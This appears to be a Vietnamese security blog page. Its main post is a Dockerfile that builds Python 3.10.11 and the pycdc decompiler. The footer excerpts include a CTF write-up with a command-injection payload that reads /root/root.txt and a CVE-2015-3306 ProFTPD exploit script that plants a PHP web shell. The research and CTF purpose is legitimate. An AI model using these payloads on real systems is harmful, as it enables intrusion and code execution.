Docker reve

# Dockerfile hoàn chỉnh cho Python 3.10.11 + pip + pycdc + curl

FROM ubuntu:22.04


ENV DEBIAN_FRONTEND=noninteractive

USER root


# Cài các gói hệ thống cần thiết (curl, build tools, libs cho Python)

RUN apt-get update && apt-get install -y \

    wget \

    curl \

    build-essential \

    libssl-dev \

    zlib1g-dev \

    libncurses5-dev \

    libncursesw5-dev \

    libreadline-dev \

    libsqlite3-dev \

    libgdbm-dev \

    libdb5.3-dev \

    libbz2-dev \

    libexpat1-dev \

    liblzma-dev \

    tk-dev \

    libffi-dev \

    git \

    cmake \

    g++ \

    && rm -rf /var/lib/apt/lists/*


# Tải và cài Python 3.10.11 từ mã nguồn

WORKDIR /tmp

RUN wget https://www.python.org/ftp/python/3.10.11/Python-3.10.11.tgz \

    && tar -xzf Python-3.10.11.tgz \

    && cd Python-3.10.11 \

    && ./configure --enable-optimizations \

    && make -j $(nproc) \

    && make altinstall \

    && cd .. \

    && rm -rf Python-3.10.11.tgz Python-3.10.11


# Tạo symlink python3 trỏ đến python3.10

RUN ln -s /usr/local/bin/python3.10 /usr/local/bin/python3


# Cài pip cho Python 3.10.11 (ensurepip + nâng cấp)

RUN /usr/local/bin/python3.10 -m ensurepip --upgrade \

    && /usr/local/bin/python3.10 -m pip install --upgrade pip


# Tạo symlink pip trỏ đúng vào pip của Python 3.10.11

RUN ln -s /usr/local/bin/pip3.10 /usr/local/bin/pip


# Clone và build pycdc (decompiler Python bytecode)

RUN git clone https://github.com/zrax/pycdc.git /tmp/pycdc \

    && cd /tmp/pycdc \

    && cmake . \

    && make \

    && cp pycdc /usr/local/bin/ \

    && cp pycdas /usr/local/bin/ \

    && cd / \

    && rm -rf /tmp/pycdc


# Tạo thư mục làm việc /app

WORKDIR /app


# Copy file start.txt từ thư mục chứa Dockerfile vào /app

COPY start.txt .


# Thiết lập quyền đọc cho file (không bắt buộc)

RUN chmod 644 start.txt


# Tạo symlink /tmp/kon trỏ đến /app

RUN ln -s /app /tmp/kon


# Lệnh mặc định khi chạy container: mở bash

CMD ["/bin/bash"]

Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

Hình ảnh
KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :( Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :( Pwn1: Welcome to KCSC Bài này mình chỉ đăng script thôi, xin nhỗi mn :> from pwn import * import requests # elf = context.binary = ELF("./advice") pay1 = b ''' Hello" && /usr/bin/as @/root/root.txt; echo" ''' pay2 = b " 111111 " # r = elf.process([pay1, pay2]) d = requests . post ( " http://103.162.14.116:5001/contact " , data ={ " name " : pay1 , " advice " : pay2 } ) print ( d . text ) # r.interactive() Web1: You are a good admin. Mn có thể tải file tại đây . Sau khi build docker xong, hãy quan sát một chút về code  có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :)) Tại route /file, ta dễ thấy nó đang bị lỗi file inclusion tại tham số f. ...
Đọc thêm

CVE-2023–41425 but only RCE part

Hình ảnh
CVE-2023–41425 Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót.  ---------------------------------------------------------------------------------------------------------------------------- Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này.  Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này. -> cần xác thực Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn Hàm này sẽ hoạt động như nào...
Đọc thêm

CVE-2015-3306

#!/usr/bin/env python3 import sys import socket import requests def exploit ( client , target ):     client .connect(( target , 21 )) # Connecting to the target server     banner = client .recv( 74 )     print ( banner .decode())     client .send( b 'site cpfr /proc/self/cmdline \r\n ' )     print ( client .recv( 1024 ).decode())     client .send( b 'site cpto /tmp/<?php system("id"); ?> \r\n ' ) # phpinfo() is just a PoC.     print ( client .recv( 1024 ).decode())     client .send( b 'site cpfr /tmp/<?php system("id"); ?> \r\n ' )     print ( client .recv( 1024 ).decode())     client .send( b 'site cpto /var/www/html/konchan.php \r\n ' )     print ( client .recv( 1024 ).decode())     client .close()     print ( 'Exploit Completed' ) def check ( url ):     req = requests . get ( url ) # Requesting the written PoC php file via HT...
Đọc thêm